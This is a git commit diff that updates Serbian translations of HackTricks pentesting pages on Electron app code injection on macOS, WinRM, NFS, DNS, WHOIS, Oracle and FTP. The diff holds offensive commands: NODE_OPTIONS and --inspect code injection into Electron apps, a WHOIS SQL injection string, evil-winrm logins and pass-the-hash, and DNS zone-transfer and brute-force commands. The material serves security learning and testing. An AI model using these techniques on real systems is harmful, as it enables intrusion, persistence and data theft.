mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/macos-hardening/macos-security-and-privilege-escalation
This commit is contained in:
parent
0e3fb0de6a
commit
d81b8acad5
@ -5,21 +5,21 @@
|
||||
## Basic Information
|
||||
|
||||
Ako ne znate šta je Electron, možete pronaći [**puno informacija ovde**](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/electron-desktop-apps/index.html#rce-xss--contextisolation). Ali za sada, samo znajte da Electron pokreće **node**.\
|
||||
I node ima neke **parametre** i **env varijable** koje se mogu koristiti da **izvrše drugi kod** osim naznačenog fajla.
|
||||
I node ima neke **parametre** i **env varijable** koje se mogu koristiti za **izvršavanje drugog koda** osim naznačenog fajla.
|
||||
|
||||
### Electron Fuses
|
||||
|
||||
Ove tehnike će biti razmatrane u nastavku, ali u poslednje vreme Electron je dodao nekoliko **bezbednosnih zastavica da ih spreči**. Ovo su [**Electron Fuses**](https://www.electronjs.org/docs/latest/tutorial/fuses) i ovo su one koje se koriste da **spreče** Electron aplikacije na macOS-u da **učitavaju proizvoljan kod**:
|
||||
|
||||
- **`RunAsNode`**: Ako je onemogućen, sprečava korišćenje env varijable **`ELECTRON_RUN_AS_NODE`** za injekciju koda.
|
||||
- **`EnableNodeCliInspectArguments`**: Ako je onemogućen, parametri kao što su `--inspect`, `--inspect-brk` neće biti poštovani. Izbegavajući ovaj način za injekciju koda.
|
||||
- **`EnableNodeCliInspectArguments`**: Ako je onemogućen, parametri poput `--inspect`, `--inspect-brk` neće biti poštovani. Izbegavajući ovaj način za injekciju koda.
|
||||
- **`EnableEmbeddedAsarIntegrityValidation`**: Ako je omogućen, učitani **`asar`** **fajl** će biti **validiran** od strane macOS-a. **Sprečavajući** na ovaj način **injekciju koda** modifikovanjem sadržaja ovog fajla.
|
||||
- **`OnlyLoadAppFromAsar`**: Ako je ovo omogućeno, umesto da traži učitavanje u sledećem redosledu: **`app.asar`**, **`app`** i konačno **`default_app.asar`**. Proveravaće i koristiti samo app.asar, čime se osigurava da kada se **kombinuje** sa **`embeddedAsarIntegrityValidation`** fuzom, bude **nemoguće** **učitati nevalidirani kod**.
|
||||
- **`OnlyLoadAppFromAsar`**: Ako je ovo omogućeno, umesto da traži učitavanje u sledećem redosledu: **`app.asar`**, **`app`** i konačno **`default_app.asar`**. Proveravaće i koristiti samo app.asar, čime se osigurava da kada je **kombinovano** sa **`embeddedAsarIntegrityValidation`** fuzom, postaje **nemoguće** **učitati nevalidirani kod**.
|
||||
- **`LoadBrowserProcessSpecificV8Snapshot`**: Ako je omogućen, proces pretraživača koristi fajl pod nazivom `browser_v8_context_snapshot.bin` za svoj V8 snapshot.
|
||||
|
||||
Još jedna zanimljiva fuzija koja neće sprečiti injekciju koda je:
|
||||
|
||||
- **EnableCookieEncryption**: Ako je omogućeno, skladište kolačića na disku je enkriptovano koristeći kriptografske ključeve na nivou operativnog sistema.
|
||||
- **EnableCookieEncryption**: Ako je omogućeno, skladište kolačića na disku je enkriptovano koristeći kriptografske ključeve na nivou OS-a.
|
||||
|
||||
### Checking Electron Fuses
|
||||
|
||||
@ -39,7 +39,7 @@ LoadBrowserProcessSpecificV8Snapshot is Disabled
|
||||
```
|
||||
### Modifying Electron Fuses
|
||||
|
||||
Kao što [**dokumentacija pominje**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode), konfiguracija **Electron Fuses** je podešena unutar **Electron binarnog fajla** koji negde sadrži string **`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`**.
|
||||
As the [**docs mention**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode), konfiguracija **Electron Fuses** je podešena unutar **Electron binarnog fajla** koji negde sadrži string **`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`**.
|
||||
|
||||
U macOS aplikacijama ovo je obično u `application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework`
|
||||
```bash
|
||||
@ -54,7 +54,7 @@ Imajte na umu da ako pokušate da **prepišete** **`Electron Framework`** binarn
|
||||
|
||||
## RCE dodavanje koda u Electron aplikacije
|
||||
|
||||
Mogu postojati **spoljni JS/HTML fajlovi** koje koristi Electron aplikacija, tako da napadač može ubrizgati kod u ove fajlove čija se potpisivanje neće proveravati i izvršiti proizvoljan kod u kontekstu aplikacije.
|
||||
Mogu postojati **spoljni JS/HTML fajlovi** koje koristi Electron aplikacija, tako da napadač može ubrizgati kod u ove fajlove čija potpisivanje neće biti provereno i izvršiti proizvoljan kod u kontekstu aplikacije.
|
||||
|
||||
> [!CAUTION]
|
||||
> Međutim, u ovom trenutku postoje 2 ograničenja:
|
||||
@ -62,9 +62,9 @@ Mogu postojati **spoljni JS/HTML fajlovi** koje koristi Electron aplikacija, tak
|
||||
> - Dozvola **`kTCCServiceSystemPolicyAppBundles`** je **potrebna** za modifikaciju aplikacije, tako da to po defaultu više nije moguće.
|
||||
> - Kompajlirani **`asap`** fajl obično ima osigurače **`embeddedAsarIntegrityValidation`** `i` **`onlyLoadAppFromAsar`** `omogućene`
|
||||
>
|
||||
> Što ovaj put napada učini složenijim (ili nemogućim).
|
||||
> Što ovaj put napada čini složenijim (ili nemogućim).
|
||||
|
||||
Imajte na umu da je moguće zaobići zahtev za **`kTCCServiceSystemPolicyAppBundles`** kopiranjem aplikacije u drugi direktorijum (kao što je **`/tmp`**), preimenovanjem foldera **`app.app/Contents`** u **`app.app/NotCon`**, **modifikovanjem** **asar** fajla sa vašim **zloćudnim** kodom, preimenovanjem nazad u **`app.app/Contents`** i izvršavanjem.
|
||||
Imajte na umu da je moguće zaobići zahtev za **`kTCCServiceSystemPolicyAppBundles`** kopiranjem aplikacije u drugi direktorijum (kao što je **`/tmp`**), preimenovanjem foldera **`app.app/Contents`** u **`app.app/NotCon`**, **modifikovanjem** **asar** fajla sa vašim **malicioznim** kodom, preimenovanjem nazad u **`app.app/Contents`** i izvršavanjem.
|
||||
|
||||
Možete raspakovati kod iz asar fajla sa:
|
||||
```bash
|
||||
@ -123,7 +123,7 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
|
||||
NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Ako je osigurač **`EnableNodeOptionsEnvironmentVariable`** **onemogućen**, aplikacija će **zanemariti** env var **NODE_OPTIONS** prilikom pokretanja osim ako env varijabla **`ELECTRON_RUN_AS_NODE`** nije postavljena, koja će takođe biti **zanemarena** ako je osigurač **`RunAsNode`** onemogućen.
|
||||
> Ako je osigurač **`EnableNodeOptionsEnvironmentVariable`** **onemogućen**, aplikacija će **zanemariti** env varijablu **NODE_OPTIONS** prilikom pokretanja osim ako env varijabla **`ELECTRON_RUN_AS_NODE`** nije postavljena, koja će takođe biti **zanemarena** ako je osigurač **`RunAsNode`** onemogućen.
|
||||
>
|
||||
> Ako ne postavite **`ELECTRON_RUN_AS_NODE`**, naići ćete na **grešku**: `Većina NODE_OPTIONs nije podržana u pakovanim aplikacijama. Pogledajte dokumentaciju za više detalja.`
|
||||
|
||||
@ -147,7 +147,7 @@ Možete zloupotrebiti ovu env varijablu u plist-u da održite postojanost dodava
|
||||
```
|
||||
## RCE sa inspekcijom
|
||||
|
||||
Prema [**ovome**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), ako izvršite Electron aplikaciju sa flagovima kao što su **`--inspect`**, **`--inspect-brk`** i **`--remote-debugging-port`**, **debug port će biti otvoren** tako da se možete povezati na njega (na primer iz Chrome-a u `chrome://inspect`) i moći ćete da **ubacite kod u njega** ili čak pokrenete nove procese.\
|
||||
Prema [**ovome**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), ako izvršite Electron aplikaciju sa flagovima kao što su **`--inspect`**, **`--inspect-brk`** i **`--remote-debugging-port`**, **debug port će biti otvoren** tako da možete da se povežete na njega (na primer iz Chrome-a u `chrome://inspect`) i moći ćete da **ubacite kod u njega** ili čak pokrenete nove procese.\
|
||||
Na primer:
|
||||
```bash
|
||||
/Applications/Signal.app/Contents/MacOS/Signal --inspect=9229
|
||||
@ -195,13 +195,13 @@ Možete zloupotrebiti ovu env promenljivu u plist-u da održite postojanost doda
|
||||
## Run non JS Code
|
||||
|
||||
Prethodne tehnike će vam omogućiti da pokrenete **JS kod unutar procesa Electron aplikacije**. Međutim, zapamtite da **dečiji procesi rade pod istim sandbox profilom** kao roditeljska aplikacija i **nasleđuju njihove TCC dozvole**.\
|
||||
Stoga, ako želite da zloupotrebite prava za pristup kameri ili mikrofonu, na primer, možete jednostavno **pokrenuti drugi binarni fajl iz procesa**.
|
||||
Stoga, ako želite da zloupotrebite privilegije za pristup kameri ili mikrofonu, na primer, možete jednostavno **pokrenuti drugi binarni fajl iz procesa**.
|
||||
|
||||
## Automatic Injection
|
||||
|
||||
Alat [**electroniz3r**](https://github.com/r3ggi/electroniz3r) se može lako koristiti za **pronalazak ranjivih Electron aplikacija** koje su instalirane i injektovanje koda u njih. Ovaj alat će pokušati da koristi tehniku **`--inspect`**:
|
||||
|
||||
Trebalo bi da ga kompajlirate sami i možete ga koristiti ovako:
|
||||
Morate ga sami kompajlirati i možete ga koristiti ovako:
|
||||
```bash
|
||||
# Find electron apps
|
||||
./electroniz3r list-apps
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## Osnovne informacije
|
||||
|
||||
**Ident protokol** se koristi preko **Interneta** za povezivanje **TCP veze** sa specifičnim korisnikom. Prvobitno dizajniran da pomogne u **upravljanju mrežom** i **bezbednosti**, funkcioniše tako što omogućava serveru da upita klijenta na portu 113 za informacije o korisniku određene TCP veze.
|
||||
**Ident protokol** se koristi preko **Interneta** za povezivanje **TCP veze** sa specifičnim korisnikom. Prvobitno je dizajniran da pomogne u **upravljanju mrežom** i **bezbednosti**, funkcioniše tako što omogućava serveru da upita klijenta na portu 113 za informacije o korisniku određene TCP veze.
|
||||
|
||||
Međutim, zbog savremenih briga o privatnosti i potencijala za zloupotrebu, njegova upotreba je opala jer može nenamerno otkriti informacije o korisniku neovlašćenim stranama. Preporučuju se poboljšane mere bezbednosti, kao što su enkriptovane veze i stroge kontrole pristupa, kako bi se umanjili ovi rizici.
|
||||
|
||||
|
@ -38,7 +38,7 @@ Za interakcije orijentisane na konekciju, **Session Service** olakšava razgovor
|
||||
|
||||
Prenos podataka unutar sesije uključuje **Session Message** pakete, a sesije se završavaju zatvaranjem TCP konekcije.
|
||||
|
||||
Ove usluge su integralne za funkcionalnost **NetBIOS**, omogućavajući efikasnu komunikaciju i deljenje resursa širom mreže. Za više informacija o TCP i IP protokolima, pogledajte njihove odgovarajuće [TCP Wikipedia](https://en.wikipedia.org/wiki/Transmission_Control_Protocol) i [IP Wikipedia](https://en.wikipedia.org/wiki/Internet_Protocol) stranice.
|
||||
Ove usluge su sastavni deo **NetBIOS** funkcionalnosti, omogućavajući efikasnu komunikaciju i deljenje resursa preko mreže. Za više informacija o TCP i IP protokolima, pogledajte njihove odgovarajuće [TCP Wikipedia](https://en.wikipedia.org/wiki/Transmission_Control_Protocol) i [IP Wikipedia](https://en.wikipedia.org/wiki/Internet_Protocol) stranice.
|
||||
```bash
|
||||
PORT STATE SERVICE VERSION
|
||||
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
||||
|
@ -14,7 +14,7 @@ Kada se enumeriše Oracle, prvi korak je razgovor sa TNS-Listener-om koji običn
|
||||
## Sažetak
|
||||
|
||||
1. **Verzijska enumeracija**: Identifikujte informacije o verziji kako biste tražili poznate ranjivosti.
|
||||
2. **Bruteforce TNS slušača**: Ponekad je potrebno uspostaviti komunikaciju.
|
||||
2. **Bruteforce TNS listener-a**: Ponekad je neophodno uspostaviti komunikaciju.
|
||||
3. **Enumeracija/Bruteforce SID imena**: Otkrijte imena baza podataka (SID).
|
||||
4. **Bruteforce kredencijala**: Pokušajte da pristupite otkrivenom SID-u.
|
||||
5. **Izvršavanje koda**: Pokušajte da pokrenete kod na sistemu.
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## Osnovne informacije
|
||||
|
||||
Oracle baza podataka (Oracle DB) je sistem za upravljanje relacionim bazama podataka (RDBMS) iz Oracle Corporation (iz [ovde](https://www.techopedia.com/definition/8711/oracle-database)).
|
||||
Oracle baza podataka (Oracle DB) je sistem za upravljanje relacionim bazama podataka (RDBMS) od Oracle Corporation (od [ovde](https://www.techopedia.com/definition/8711/oracle-database)).
|
||||
|
||||
Kada se enumeriše Oracle, prvi korak je razgovor sa TNS-Listener-om koji obično se nalazi na podrazumevanom portu (1521/TCP, -možete takođe dobiti sekundarne listenere na 1522–1529-).
|
||||
```
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## Osnovne informacije
|
||||
|
||||
Protokol **WHOIS** služi kao standardna metoda za **istraživanje o registrovanim ili vlasnicima raznih Internet resursa** putem specifičnih baza podataka. Ovi resursi obuhvataju imena domena, blokove IP adresa i autonomne sisteme, između ostalog. Pored ovoga, protokol se koristi za pristup širem spektru informacija.
|
||||
Protokol **WHOIS** služi kao standardna metoda za **istraživanje registranata ili vlasnika raznih Internet resursa** putem specifičnih baza podataka. Ovi resursi obuhvataju imena domena, blokove IP adresa i autonomne sisteme, između ostalog. Pored ovoga, protokol se koristi za pristup širem spektru informacija.
|
||||
|
||||
**Podrazumevani port:** 43
|
||||
```
|
||||
@ -22,7 +22,7 @@ Obratite pažnju da ponekad kada tražite informacije od WHOIS servisa, baza pod
|
||||
|
||||
.png>)
|
||||
|
||||
Takođe, WHOIS servis uvek mora koristiti **bazu podataka** za skladištenje i ekstrakciju informacija. Dakle, moguća **SQLInjection** može biti prisutna kada **upitujete** bazu podataka za neke informacije koje je pružio korisnik. Na primer, koristeći: `whois -h 10.10.10.155 -p 43 "a') or 1=1#"` mogli biste biti u mogućnosti da **izvučete sve** **informacije** sačuvane u bazi podataka.
|
||||
Takođe, WHOIS servis uvek mora koristiti **bazu podataka** za skladištenje i izvlačenje informacija. Dakle, moguća **SQLInjection** može biti prisutna kada **upitujete** bazu podataka za neke informacije koje je pružio korisnik. Na primer, koristeći: `whois -h 10.10.10.155 -p 43 "a') or 1=1#"` mogli biste biti u mogućnosti da **izvučete sve** **informacije** sačuvane u bazi podataka.
|
||||
|
||||
## Shodan
|
||||
|
||||
|
@ -15,12 +15,12 @@ Otvoreni port sa gornje liste označava da je WinRM postavljen, čime se omoguć
|
||||
|
||||
### **Započinjanje WinRM Sesije**
|
||||
|
||||
Da bi se konfigurisao PowerShell za WinRM, Microsoft-ov `Enable-PSRemoting` cmdlet dolazi u igru, postavljajući računar da prihvata daljinske PowerShell komande. Sa povišenim pristupom PowerShell-u, sledeće komande mogu biti izvršene da omoguće ovu funkcionalnost i odrede bilo koji host kao pouzdan:
|
||||
Da bi se konfigurisao PowerShell za WinRM, Microsoft-ov `Enable-PSRemoting` cmdlet dolazi u igru, postavljajući računar da prihvata daljinske PowerShell komande. Sa povišenim pristupom PowerShell-u, sledeće komande se mogu izvršiti da bi se omogućila ova funkcionalnost i odredio bilo koji host kao pouzdan:
|
||||
```powershell
|
||||
Enable-PSRemoting -Force
|
||||
Set-Item wsman:\localhost\client\trustedhosts *
|
||||
```
|
||||
Ovaj pristup uključuje dodavanje džokera u `trustedhosts` konfiguraciju, korak koji zahteva pažljivo razmatranje zbog svojih implikacija. Takođe je napomenuto da bi mogla biti potrebna promena tipa mreže sa "Public" na "Work" na mašini napadača.
|
||||
Ovaj pristup uključuje dodavanje džokera u `trustedhosts` konfiguraciju, korak koji zahteva pažljivo razmatranje zbog svojih implikacija. Takođe je napomenuto da bi mogla biti neophodna promena tipa mreže sa "Public" na "Work" na mašini napadača.
|
||||
|
||||
Pored toga, WinRM se može **aktivirati na daljinu** koristeći `wmic` komandu, što je prikazano na sledeći način:
|
||||
```powershell
|
||||
@ -40,13 +40,13 @@ Odgovor bi trebao sadržati informacije o verziji protokola i wsmid, što označ
|
||||
|
||||
.png>)
|
||||
|
||||
- Nasuprot tome, za cilj koji **nije** konfigurisan za WinRM, to bi rezultiralo nedostatkom tako detaljnih informacija, ističući odsustvo pravilnog WinRM podešavanja.
|
||||
- Nasuprot tome, za cilj **koji nije** konfigurisan za WinRM, to bi rezultiralo nedostatkom tako detaljnih informacija, ističući odsustvo pravilnog WinRM podešavanja.
|
||||
|
||||
.png>)
|
||||
|
||||
### Izvrši komandu
|
||||
|
||||
Da biste izvršili `ipconfig` daljinski na ciljnim mašini i videli njegov izlaz, uradite:
|
||||
Da biste izvršili `ipconfig` daljinski na ciljnog računaru i videli njegov izlaz, uradite:
|
||||
```powershell
|
||||
Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]
|
||||
```
|
||||
@ -85,7 +85,7 @@ Exit-PSSession # This will leave it in background if it's inside an env var (New
|
||||
```
|
||||
.png>)
|
||||
|
||||
**Sesija će se izvršavati u novom procesu (wsmprovhost) unutar "žrtve"**
|
||||
**Sesija će se pokrenuti u novom procesu (wsmprovhost) unutar "žrtve"**
|
||||
|
||||
### **Prisiljavanje WinRM-a da se otvori**
|
||||
|
||||
@ -122,7 +122,7 @@ Pokušajte na klijentu (informacije [ovde](https://serverfault.com/questions/657
|
||||
winrm quickconfig
|
||||
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
|
||||
```
|
||||
## WinRM konekcija u linuxu
|
||||
## WinRM veza u linuxu
|
||||
|
||||
### Brute Force
|
||||
|
||||
@ -146,7 +146,7 @@ Pročitajte **dokumentaciju** na njegovom github-u: [https://github.com/Hackplay
|
||||
```ruby
|
||||
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain>
|
||||
```
|
||||
Da biste koristili evil-winrm za povezivanje na **IPv6 adresu**, kreirajte unos unutar _**/etc/hosts**_ postavljajući **domen** na IPv6 adresu i povežite se na tu domenu.
|
||||
Da biste koristili evil-winrm za povezivanje na **IPv6 adresu**, kreirajte unos unutar _**/etc/hosts**_ postavljajući **domen** na IPv6 adresu i povežite se na taj domen.
|
||||
|
||||
### Prosledi hash sa evil-winrm
|
||||
```ruby
|
||||
|
@ -10,7 +10,7 @@ Značajan aspekt ovog protokola je njegov nedostatak ugrađenih **mehanizama aut
|
||||
|
||||
Autentifikacija se obično oslanja na **UNIX `UID`/`GID` identifikatore i članstva u grupama**. Međutim, izazov nastaje zbog potencijalnog nesklada u **`UID`/`GID` mapiranjima** između klijenata i servera, ostavljajući bez prostora za dodatnu verifikaciju od strane servera. Kao rezultat, protokol je najbolje koristiti unutar **pouzdanih mreža**, s obzirom na to da se oslanja na ovu metodu autentifikacije.
|
||||
|
||||
**Podrazumevani port**: 2049/TCP/UDP (osim verzije 4, potrebna je samo TCP ili UDP).
|
||||
**Podrazumevani port**: 2049/TCP/UDP (osim verzije 4, potrebni su samo TCP ili UDP).
|
||||
```
|
||||
2049/tcp open nfs 2-3 (RPC #100003
|
||||
```
|
||||
@ -20,7 +20,7 @@ Autentifikacija se obično oslanja na **UNIX `UID`/`GID` identifikatore i člans
|
||||
|
||||
- **NFSv3**: Uvedena sa nizom poboljšanja, NFSv3 je proširila svog prethodnika podržavajući promenljive veličine datoteka i nudeći poboljšane mehanizme izveštavanja o greškama. I pored svojih napredaka, suočila se sa ograničenjima u punoj unazadnoj kompatibilnosti sa NFSv2 klijentima.
|
||||
|
||||
- **NFSv4**: Prelomna verzija u NFS seriji, NFSv4 je donela niz funkcija dizajniranih da modernizuju deljenje datoteka preko mreža. Značajna poboljšanja uključuju integraciju Kerberosa za **visoku sigurnost**, sposobnost prelaska kroz vatrozidove i rad preko Interneta bez potrebe za portmaperima, podršku za liste kontrole pristupa (ACL), i uvođenje operacija zasnovanih na stanju. Njena poboljšanja u performansama i usvajanje protokola zasnovanog na stanju izdvajaju NFSv4 kao ključni napredak u tehnologijama deljenja mrežnih datoteka.
|
||||
- **NFSv4**: Prelomna verzija u NFS seriji, NFSv4 je donela niz funkcija dizajniranih da modernizuju deljenje datoteka preko mreža. Značajna poboljšanja uključuju integraciju Kerberosa za **visoku sigurnost**, sposobnost prelaska kroz vatrozidove i rad preko Interneta bez potrebe za portmaperima, podršku za liste kontrole pristupa (ACL), i uvođenje operacija zasnovanih na stanju. Njegova poboljšanja u performansama i usvajanje protokola zasnovanog na stanju izdvajaju NFSv4 kao ključni napredak u tehnologijama deljenja mrežnih datoteka.
|
||||
|
||||
Svaka verzija NFS-a je razvijena sa namerom da odgovori na evoluirajuće potrebe mrežnih okruženja, postepeno poboljšavajući sigurnost, kompatibilnost i performanse.
|
||||
|
||||
@ -74,9 +74,9 @@ Da biste lako listali, montirali i menjali UID i GID kako biste imali pristup fa
|
||||
|
||||
- **Korišćenje nesigurnih portova (`insecure`):** Kada je omogućeno, ovo omogućava sistemu da koristi portove iznad 1024. Bezbednost portova iznad ovog opsega može biti manje stroga, povećavajući rizik.
|
||||
|
||||
- **Vidljivost ugnježdenih datotečnih sistema (`nohide`):** Ova konfiguracija čini direktorijume vidljivim čak i ako je drugi datotečni sistem montiran ispod izvezenog direktorijuma. Svakom direktorijumu je potrebna sopstvena izvozna stavka za pravilno upravljanje.
|
||||
- **Vidljivost ugnježdenih datotečnih sistema (`nohide`):** Ova konfiguracija čini direktorijume vidljivim čak i ako je drugi datotečni sistem montiran ispod izvezenog direktorijuma. Svaki direktorijum zahteva svoj vlastiti izvozni unos za pravilno upravljanje.
|
||||
|
||||
- **Vlasništvo datoteka od strane root korisnika (`no_root_squash`):** Sa ovom postavkom, datoteke koje kreira root korisnik zadržavaju svoj originalni UID/GID od 0, zanemarujući princip minimalnih privilegija i potencijalno dodeljujući prekomerne dozvole.
|
||||
- **Vlasništvo nad datotekama korisnika root (`no_root_squash`):** Sa ovom postavkom, datoteke koje kreira korisnik root zadržavaju svoj originalni UID/GID od 0, zanemarujući princip minimalnih privilegija i potencijalno dodeljujući prekomerne dozvole.
|
||||
|
||||
- **Nesmanjenje svih korisnika (`no_all_squash`):** Ova opcija osigurava da identiteti korisnika budu očuvani širom sistema, što može dovesti do problema sa dozvolama i kontrolom pristupa ako se ne upravlja pravilno.
|
||||
|
||||
|
@ -5,7 +5,7 @@
|
||||
|
||||
## **Osnovne informacije**
|
||||
|
||||
**Sistem imenskih domena (DNS)** služi kao internet direktorijum, omogućavajući korisnicima da pristupaju veb sajtovima putem **lako pamtljivih imena domena** kao što su google.com ili facebook.com, umesto numeričkih Internet protokola (IP) adresa. Prevođenjem imena domena u IP adrese, DNS osigurava da veb pregledači brzo učitavaju internet resurse, pojednostavljujući način na koji se krećemo u online svetu.
|
||||
**Sistem imenskih domena (DNS)** služi kao internet direktorijum, omogućavajući korisnicima da pristupaju veb sajtovima putem **lako pamtljivih imenskih domena** kao što su google.com ili facebook.com, umesto numeričkih Internet protokola (IP) adresa. Prevođenjem imenskih domena u IP adrese, DNS osigurava da veb pregledači brzo učitavaju internet resurse, pojednostavljujući način na koji se krećemo u online svetu.
|
||||
|
||||
**Podrazumevani port:** 53
|
||||
```
|
||||
@ -16,7 +16,7 @@ PORT STATE SERVICE REASON
|
||||
```
|
||||
### Different DNS Servers
|
||||
|
||||
- **DNS Root Servers**: Ovi serveri su na vrhu DNS hijerarhije, upravljajući top-level domenama i intervenišući samo ako niži serveri ne odgovore. Internet korporacija za dodeljene nazive i brojeve (**ICANN**) nadgleda njihovo funkcionisanje, sa globalnim brojem od 13.
|
||||
- **DNS Root Servers**: Ovi serveri su na vrhu DNS hijerarhije, upravljajući top-level domenama i intervenišući samo ako niži serveri ne odgovore. Internet korporacija za dodeljene nazive i brojeve (**ICANN**) nadgleda njihovo poslovanje, sa globalnim brojem od 13.
|
||||
- **Authoritative Nameservers**: Ovi serveri imaju konačnu reč za upite u svojim dodeljenim zonama, nudeći definitivne odgovore. Ako ne mogu da pruže odgovor, upit se escalira na root servere.
|
||||
- **Non-authoritative Nameservers**: Bez vlasništva nad DNS zonama, ovi serveri prikupljaju informacije o domenima putem upita ka drugim serverima.
|
||||
- **Caching DNS Server**: Ova vrsta servera pamti prethodne odgovore na upite na određeno vreme kako bi ubrzala vreme odgovora za buduće zahteve, pri čemu trajanje keša određuje autoritativni server.
|
||||
@ -34,7 +34,7 @@ dig version.bind CHAOS TXT @DNS
|
||||
```
|
||||
Pored toga, alat [`fpdns`](https://github.com/kirei/fpdns) takođe može da identifikuje server.
|
||||
|
||||
Takođe je moguće preuzeti banner pomoću **nmap** skripte:
|
||||
Takođe je moguće prikupiti baner i sa **nmap** skriptom:
|
||||
```
|
||||
--script dns-nsid
|
||||
```
|
||||
@ -44,7 +44,7 @@ Zapis **ANY** će zatražiti od DNS servera da **vrati** sve dostupne **unose**
|
||||
```bash
|
||||
dig any victim.com @<DNS_IP>
|
||||
```
|
||||
### **Prenos Zone**
|
||||
### **Zone Transfer**
|
||||
|
||||
Ova procedura se skraćuje kao `Asynchronous Full Transfer Zone` (`AXFR`).
|
||||
```bash
|
||||
@ -87,7 +87,7 @@ auxiliary/gather/enum_dns #Perform enumeration actions
|
||||
#Perform enumeration actions
|
||||
nmap -n --script "(default and *dns*) or fcrdns or dns-srv-enum or dns-random-txid or dns-random-srcport" <IP>
|
||||
```
|
||||
### DNS - Obrnuti BF
|
||||
### DNS - Reverse BF
|
||||
```bash
|
||||
dnsrecon -r 127.0.0.0/24 -n <IP_DNS> #DNS reverse of all of the addresses
|
||||
dnsrecon -r 127.0.1.0/24 -n <IP_DNS> #DNS reverse of all of the addresses
|
||||
@ -95,13 +95,13 @@ dnsrecon -r <IP_DNS>/24 -n <IP_DNS> #DNS reverse of all of the addresses
|
||||
dnsrecon -d active.htb -a -n <IP_DNS> #Zone transfer
|
||||
```
|
||||
> [!NOTE]
|
||||
> Ako možete pronaći poddomene koje se rešavaju na interne IP adrese, trebali biste pokušati da izvršite reverzni dns BF na NS-ove domena tražeći taj IP opseg.
|
||||
> Ako možete pronaći poddomenе koje se rešavaju na interne IP adrese, trebali biste pokušati da izvršite reverzni dns BF na NS-ove domena tražeći taj IP opseg.
|
||||
|
||||
Još jedan alat za to: [https://github.com/amine7536/reverse-scan](https://github.com/amine7536/reverse-scan)
|
||||
|
||||
Možete upititi reverzne IP opsege na [https://bgp.he.net/net/205.166.76.0/24#\_dns](https://bgp.he.net/net/205.166.76.0/24#_dns) (ovaj alat je takođe koristan sa BGP-om).
|
||||
|
||||
### DNS - Subdomene BF
|
||||
### DNS - Poddomeni BF
|
||||
```bash
|
||||
dnsenum --dnsserver <IP_DNS> --enum -p 0 -s 0 -o subdomains.txt -f subdomains-1000.txt <DOMAIN>
|
||||
dnsrecon -D subdomains-1000.txt -d <DOMAIN> -n <IP_DNS>
|
||||
@ -126,7 +126,7 @@ nmap -sSU -p53 --script dns-nsec-enum --script-args dns-nsec-enum.domains=paypal
|
||||
```
|
||||
### IPv6
|
||||
|
||||
Brute force koristeći "AAAA" zahteve za prikupljanje IPv6 subdomena.
|
||||
Brute force koristeći "AAAA" zahteve za prikupljanje IPv6 adresa poddomena.
|
||||
```bash
|
||||
dnsdict6 -s -t <domain>
|
||||
```
|
||||
@ -152,7 +152,7 @@ dig google.com A @<IP>
|
||||
|
||||
### Email na nepostojeći nalog
|
||||
|
||||
**Slanje emaila na nepostojeću adresu** koristeći domen žrtve može izazvati da žrtva pošalje obaveštenje o nedostavljanju (NDN) čija **zaglavlja** mogu sadržati zanimljive informacije kao što su **imena internih servera i IP adrese**.
|
||||
**Slanje emaila na nepostojeću adresu** koristeći domen žrtve može pokrenuti žrtvu da pošalje obaveštenje o nedostavljanju (NDN) čija **zaglavlja** mogu sadržati zanimljive informacije kao što su **imena internih servera i IP adrese**.
|
||||
|
||||
## Post-eksploatacija
|
||||
|
||||
|
@ -4,25 +4,25 @@
|
||||
|
||||
## Osnovne informacije
|
||||
|
||||
**File Transfer Protocol (FTP)** služi kao standardni protokol za prenos fajlova preko računarske mreže između servera i klijenta.\
|
||||
To je **plain-text** protokol koji koristi **novi red karakter `0x0d 0x0a`** tako da ponekad treba da **povežete koristeći `telnet`** ili **`nc -C`**.
|
||||
**File Transfer Protocol (FTP)** služi kao standardni protokol za prenos datoteka preko računarske mreže između servera i klijenta.\
|
||||
To je **plain-text** protokol koji koristi **novi redni karakter `0x0d 0x0a`** pa ponekad treba da se **povežete koristeći `telnet`** ili **`nc -C`**.
|
||||
|
||||
**Podrazumevani port:** 21
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
21/tcp open ftp
|
||||
```
|
||||
### Veze Aktivne i Pasivne
|
||||
### Aktivne i Pasivne Konekcije
|
||||
|
||||
U **Aktivnom FTP** FTP **klijent** prvo **inicira** kontrolnu **vezu** sa svog porta N na komandni port FTP servera – port 21. **Klijent** zatim **sluša** port **N+1** i šalje port N+1 FTP serveru. FTP **server** zatim **inicira** podatkovnu **vezu**, sa **svojeg porta M na port N+1** FTP klijenta.
|
||||
U **Aktivnom FTP-u** FTP **klijent** prvo **inicira** kontrolnu **konekciju** sa svog porta N na komandni port FTP servera – port 21. **Klijent** zatim **sluša** port **N+1** i šalje port N+1 FTP serveru. FTP **server** zatim **inicira** data **konekciju**, sa **svojeg porta M na port N+1** FTP klijenta.
|
||||
|
||||
Međutim, ako FTP klijent ima podešen firewall koji kontroliše dolazne podatkovne veze sa spolja, tada aktivni FTP može biti problem. A, izvodljivo rešenje za to je Pasivni FTP.
|
||||
Međutim, ako FTP klijent ima podešen firewall koji kontroliše dolazne data konekcije sa spolja, tada aktivni FTP može biti problem. Moguće rešenje za to je Pasivni FTP.
|
||||
|
||||
